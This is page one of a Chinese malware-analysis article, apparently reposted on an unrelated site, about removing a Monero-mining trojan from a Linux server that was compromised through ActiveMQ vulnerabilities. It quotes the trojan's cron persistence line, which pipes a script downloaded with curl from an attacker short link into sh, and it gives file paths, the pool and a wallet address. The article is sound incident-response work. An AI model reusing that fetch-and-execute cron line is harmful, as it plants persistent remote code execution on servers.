游戏名字  |  游戏名字 游戏名字大全
火星文转换器土星文转换器下载游戏名字大全游戏名字软件下载QQ个性签名
当前位置:主页 > 文章中心 > 黑客编程 >

一个Linux平台的门罗币挖矿木马的查杀与分析

时间:2018-05-09 09:46 来源:未知 作者:admin666

近期接到客户反映,其机房有一台redhat服务器很卡,导致很多服务响应速度很慢的情况。通过远程到客户机器,发现一个进程占据700%多CPU的使用率。通过分析,定性为是一起针对“门罗币”的挖矿木马入侵事件。本文记录处理该事件的关键过程以及对该挖矿木马核心代码进行的分析,方便做事件响应的同行们碰到同家族类型木马后可以快速查杀,定性威胁事件。
0×01 木马行为与查杀过程
主要行为
木马以r88.sh作为downloader首先控制服务器,通过判断当前账户的权限是否为root来进行下一步的操作,若为root则在目录/var/spool/cron/root和/var/spool/cron/crontabs/root下写计划任务”*/5 * * * * curl -sL https://x.co/6nPMR | sh”,其中这个短链接还原后为https://xmr.enjoytopic.tk/12/r88.sh。若为非root账户,则不写计划任务。接着均会执行下载运行rootv2.sh或lowerv2.sh(基于当前账户是否为root来选择下载脚本)等一系列的操作。
木马的挖矿组件bashd和bashe在系统中执行后,毫不掩饰地就开始挖矿,CPU直接就占据好几百,简直粗暴。是不是应该考虑下根据机器的当前运行状态来“人性化挖矿”呢?

简单的进程保护行为
为了防被杀后还能继续挖矿,其通过写入定时任务的方式来实现简单的进程保护,通过一定时间间隔使用curl与wget远程下载shell脚本程序执行,该脚本的功能会执行本地路径下已存在的挖矿程序,若不存在则会重新下载挖矿程序执行。

其中该木马在多个路径都写入了定时任务来实现维持访问,包括:/var/spool/cron/root、/var/spool/cron/crontabs/root以及/etc/cron.d。前两个位置直接就在r88.sh这个文件中暴露了出来:

要清除该木马需要清除三个位置所有的定时任务,要不然该木马还会死灰复燃,重新被启动挖矿。
所幸该木马并没有感染传播的蠕虫属性,猜测是攻击者直接通过一般漏洞来进行的无差别攻击植入的挖矿downloader。经过对服务器进行渗透测试,确实发现了Apache ActiveMQ Fileserver远程代码执行漏洞(CVE-2016-3088)与ActiveMQ 反序列化漏洞(CVE-2015-5254)。所以企业在上线服务之前最好还是先让安全从业人员先进行安全评估加固之后会更加安全一些。
木马查杀
1)尝试杀掉bashd与bashe进程以及root.sh/rootv2.sh/lower.sh/lowerv2.sh与r88.sh这些shell进程
2)清除掉/tmp目录下木马释放的文件:/tmp/bashd、/tmp/bashe、/tmp/root.sh、/tmp/rootv2.sh、/tmp/r88.sh、/tmp/pools.txt、/tmp/config.json等
3)清除3个位置的定时任务:/var/spool/cron/root、/var/spool/cron/crontabs/root以及/etc/cron.d
对应的自动查杀脚本如下:
#!/bin/bash
for ((i=1;i>0;i++))
do
 ps -ef | grep "/tmp/bashd -p bashd" | grep -v grep | awk '{print $2}' | xargs kill
 ps -ef | grep "/tmp/bashe -p bashd" | grep -v grep | awk '{print $2}' | xargs kill
 ps -ef | grep "bash /tmp/root.sh" | grep -v grep | awk '{print $2}' | xargs kill
 ps -ef | grep "bash /tmp/r88.sh" | grep -v grep | awk '{print $2}' | xargs kill
 ps -ef | grep "bash /tmp/rootv2.sh" | grep -v grep | awk '{print $2}' | xargs kill
ps -ef | grep "bash /tmp/lower.sh" | grep -v grep | awk '{print $2}' | xargs kill
ps -ef | grep "bash /tmp/lowerv2.sh" | grep -v grep | awk '{print $2}' | xargs kill
 rm /tmp/bashd /tmp/bashe /tmp/config.json /tmp/root.sh /tmp/rootv2.sh /tmp/r88.sh /tmp/pools.txt -r
 rm /var/spool/cron/root /var/spool/cron/crontabs/root /etc/cron.d/root
done
0×02 木马核心代码分析
木马整体编写逻辑
该木马使用Linux系统的shell脚本编写Downloader,使用curl与wget命令发起网络请求下载木马的其他组件,虽然代码可被轻易分析,但是编写成本和门槛降低,这也是当前恶意代码使用脚本语言编写的一个趋势。

该木马一共涉及多个脚本与可执行文件:
r88.sh
最开始执行的downloader,会远程下载执行root.sh/rootv2.sh/lower.sh/lowerv2.sh
root.sh
这四个脚本内容完全一致,作者为了起到保险作用会考虑当前账户是是否为root以及考虑是否下载执行成功。关于这个逻辑,可参考以上流程图。
rootv2.sh
lower.sh
lowerv2.sh
bashd
基于https://github.com/fireice-uk/xmr-stak-cpu的一个挖矿组件,x64,ELF
bashe
基于https://github.com/xmrig/xmrig的一个挖矿组件,x64,ELF
配置文件
bashe的config.json配置文件:

config.json这个配置文件中显示其矿池地址为pool.supportxmr.com:80,
用户为:
46TCcaaDn4LXkWZ1EGKBkzcWsTm32Mmy8a2VWqL8pGhRPf65GmUdkZWbrLVYNhFaucWXjU5aJqMraLMEoXq53GHYJPv3LP6

[1] [2] [3]  下一页

上一篇:黑客可利用PDF文件盗取Windows凭据
下一篇:没有了

友情链接
Copyright © 2003-2008 游戏名字大全. All Rights Reserved
页面执行时间:1,078.12500 毫秒
网络游戏名字大全(youximingzi),好听的个性游戏名字,好听的搞笑游戏名字,好听的英文游戏名字,好听的游戏情侣名字尽在 www.hack59.com 蜀ICP备14021772号-7